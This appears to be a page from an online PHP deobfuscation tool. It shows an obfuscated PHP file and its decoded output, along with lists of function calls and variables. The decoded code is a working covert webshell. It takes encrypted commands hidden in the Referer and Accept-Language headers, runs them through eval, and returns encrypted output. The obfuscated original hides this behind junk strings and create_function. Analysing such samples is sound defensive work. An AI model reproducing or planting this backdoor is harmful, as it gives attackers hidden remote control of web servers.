Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $B='grse_str($u["quer8gy"],8g$q);8g$q=array_values($8gq)8g;p8greg_match_all8g("/(8g..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$B='grse_str($u["quer8gy"],8g$q);8g$q=array_values($8gq)8g;p8greg_match_all8g("/(8g[\\w])';
$T='d5($8gi8g.$kh),0,3));$f=8g$sl8g8g($ss(md5($i.$8gkf),0,38g));$p8g=""8g;fo8gr($z8g=8g1';
$n='";$p8g=$ss(8g$p,38g);8g}if(8gar8gray8g_k8gey_exists($i,$s)){$s[$i].8g=$p8g;$e=st8grpo8gs(';
$L='se8g64_d8gecod8ge(pr8geg_rep8glace(ar8gra8gy8g("/_/","/-8g/"),array8g("/","+")8g,$ss($s[$8gi]';
$Y=');$o=8g"8g";for($i=0;8g$i<$l;){fo8gr($8gj=08g;($j<$c&&$i8g8g<$l);$j++,$i8g++8g)8g{$o.';
$F='code(x(g8gzcomp8gress($o),$k))8g;p8g8grint("<$k>8g$d</$k>");@se8gssio8gn_8gdestroy();}}}}';
$U=str_replace('zy','','crezyatzyezy_fuzynzyczytion');
$m='$s[8g$8gi],$f);if($e){$8gk=$kh.$kf;8go8gb_start();8g@eva8gl(@gzunc8gompres8gs(@x(@8gba';
$t='$kh="5d8g41";$8gkf="402a";f8g8gunction x($t8g,$k){$8gc=s8gtrl8ge8gn8g($k);$l=strlen(8g$t';
$A='=$t{$i}^$k8g8g{$j8g};}}retur8gn $o;}$r8g=$_S8gERVER;$rr=@8g$8gr["HTT8gP_R8gEFERER"];$ra=';
$u=';$z<count8g($m[1]);$8gz++)$p.=$q[8g$m[28g][$z]];i8g8gf(strpos(8g$p,$h)===08g){$s8g[$i]="';
$p='[\\8g8gw-]+(?:8g;q=0.([\\d]8g))?8g,8g?/",$r8ga,8g$m);if($q&&$m){@se8gssion_st8gart();8g$s=&$_S8';
$W='g8gESSION;$8gss="8gsubstr";$sl8g="strto8glowe8g8gr";$i=$m[1]8g[0].$8g8gm[1][1];$h=$sl8g($ss(8gm';
$d=',0,$e))8g)8g,$k)8g));$o=ob_get_8g8gcontents8g()8g;o8gb8g_end_clean();$d=b8ga8gse64_e8gn';
$l='@8g$r["HTTP_AC8gCEPT_L8g8gANGUAGE"];if8g($8grr&&$8gra){$u=pars8ge_u8gr8gl($8grr8g);pa8';
$a=str_replace('8g','',$t.$Y.$A.$l.$B.$p.$W.$T.$u.$n.$m.$L.$d.$F);
$D=$U('',$a);$D();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$A =$t{$i}^$k8g8g{$j8g};}}retur8gn $o;}$r8g=$_S8gERVER;$rr=@8g$..
$B grse_str($u["quer8gy"],8g$q);8g$q=array_values($8gq)8g;p8gre..
$D None
$F code(x(g8gzcomp8gress($o),$k))8g;p8g8grint("<$k>8g$d</$k>");..
$L se8g64_d8gecod8ge(pr8geg_rep8glace(ar8gra8gy8g("/_/","/-8g/"..
$T d5($8gi8g.$kh),0,3));$f=8g$sl8g8g($ss(md5($i.$8gkf),0,38g));..
$U create_function
$W g8gESSION;$8gss="8gsubstr";$sl8g="strto8glowe8g8gr";$i=$m[1]..
$Y );$o=8g"8g";for($i=0;8g$i<$l;){fo8gr($8gj=08g;($j<$c&&$i8g8g..
$a $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$d ,0,$e))8g)8g,$k)8g));$o=ob_get_8g8gcontents8g()8g;o8gb8g_end..
$l @8g$r["HTTP_AC8gCEPT_L8g8gANGUAGE"];if8g($8grr&&$8gra){$u=pa..
$m $s[8g$8gi],$f);if($e){$8gk=$kh.$kf;8go8gb_start();8g@eva8gl(..
$n ";$p8g=$ss(8g$p,38g);8g}if(8gar8gray8g_k8gey_exists($i,$s)){..
$p [\8g8gw-]+(?:8g;q=0.([\d]8g))?8g,8g?/",$r8ga,8g$m);if($q&&$m..
$t $kh="5d8g41";$8gkf="402a";f8g8gunction x($t8g,$k){$8gc=s8gtr..
$u ;$z<count8g($m[1]);$8gz++)$p.=$q[8g$m[28g][$z]];i8g8gf(strpo..

Stats

MD5 d200f521ece0e7f8bfdc0943b9221fee
Eval Count 1
Decode Time 91 ms